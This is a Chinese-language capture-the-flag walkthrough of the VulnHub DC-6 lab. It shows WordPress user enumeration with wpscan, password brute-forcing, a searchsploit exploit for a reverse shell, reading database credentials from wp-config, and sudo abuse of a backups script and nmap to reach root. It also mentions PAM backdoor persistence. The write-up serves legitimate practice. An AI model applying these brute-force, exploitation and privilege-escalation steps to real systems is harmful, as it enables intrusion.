vulnhub-DC-6通关教程

扫出靶机为165

nmap 192.168.135.0/24 -sP

这里发现开放了22和80端口，思路还是一样。。。

nmap 192.168.135.165

这里发现http的CMS，发现是wordpress，这个我们见得多了。

nmap 192.168.135.165 -A -p-

作者要求将域名加入才能访问。

对付wordpress直接用wpscan，这里扫到用户名截不完>_<admin/graham/mark/sarah/

jens

wpscan --url http://wordy/ -eu

这里我打了一遍了，密码本很多，根据需求过滤掉节省时间

Locat rockyou.txt

Cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

Wc -l passwords.txt

将用户名放入字典，这里也可以用wpscan来爆破。得到mark的密码helpdesk01

Wpscan -U test.txt -P passwords.txt –max-threads 50 –url http://wordy/

通过dirb扫出后台登录wp-admin

Dirb http://wordy

成功登录web

通过wpscan加上api发现了漏洞，在漏洞库发现能用的，kali也是有的

Searchsploit 45274

Searchsploit -m 45274.html

这样修改就行，成功拿到shell,修改域名与监听IP，记住这里是靶机向外反弹shell给kali，参数自己懂。

对了，我怕你们看的估计有些模糊，我解释清楚点，也为了以后我能一眼过，这里访问我们的kali

file:///home/kali/桌面

file:// 后面三个斜杠，因为是本地绝对路径。

修复残缺shell

Python -c ‘import pty;pty.spawn(“/bin/bash”)’

Stty raw -echo; fg

Export TERM=xterm

这里需要用脚本linpeas.sh来枚举信息，我跑过一遍了，手工枚举一次方便编写笔记

Uname -a

Sudo -V

在配置文件发现了数据库的用户名和密码

Wpdbuser/meErKatZ

Cat wp-config.php

在这里我发现shell的用户和登录密码

Graham/GSo7isUM1D4

没什么好解释的，但是只放一条命令出来不太习惯>_<

Ssh graham@192.168.135.165

这里我还是跑一下脚本吧。。。像这些就是我面重点关注的对象什么用户信息，数据库泄露，内核版本，sudo，suid。

啊这里顺带提一句，可以关注一下pam.d，这个PAM后门当shell这些登录时即使管理员修改了我面依旧能登录进去（全交给了PAM认证模块后门持久化）。

Ok啊，大概一起过了一下脚本也对脚本有点认识了，我特地将sudo的.sh放最后一张，我面查看sudo时发现了/home/jens/backups.sh可以修改写入命令拿到jens。

Sudo -l

我们进入jens后接着枚举

Sudo -u jens /home/jens/backups.sh

这里又是nmap问题，之前好像打过了吧?太多了有点不记得了，我很好奇各位大佬是怎么记得住那么多命令的能不能告诉我方法呀>_<

Sudo -l

jens用户可以sudo直接运行nmap，这里解释一下老版本的nmap自带交互式的脚本，存在执行命令函数os.execute执行系统命令,--script参数可以执行脚本。我们创建一个函数，将/bin/sh写入函数，用—script执行脚本拿到的就是root的shell。

没什么好看的了，我们看看flag吧

这台靶机还是简单的我们总结一下吧

我们从wpscan拿到用户名通过爆破拿到密码，登录到mark的web，通过脚本反弹mark的shell，在里面我们发现jens用户，可以通过sudo写入backups.sh拿到jens的shell，里面我们又发现了老版本的nmap，这个自带交互式命令，jens可以通过sudo执行namp拿到rootshell。怎么感觉越总结越少的，天天打不会还退步了吧?s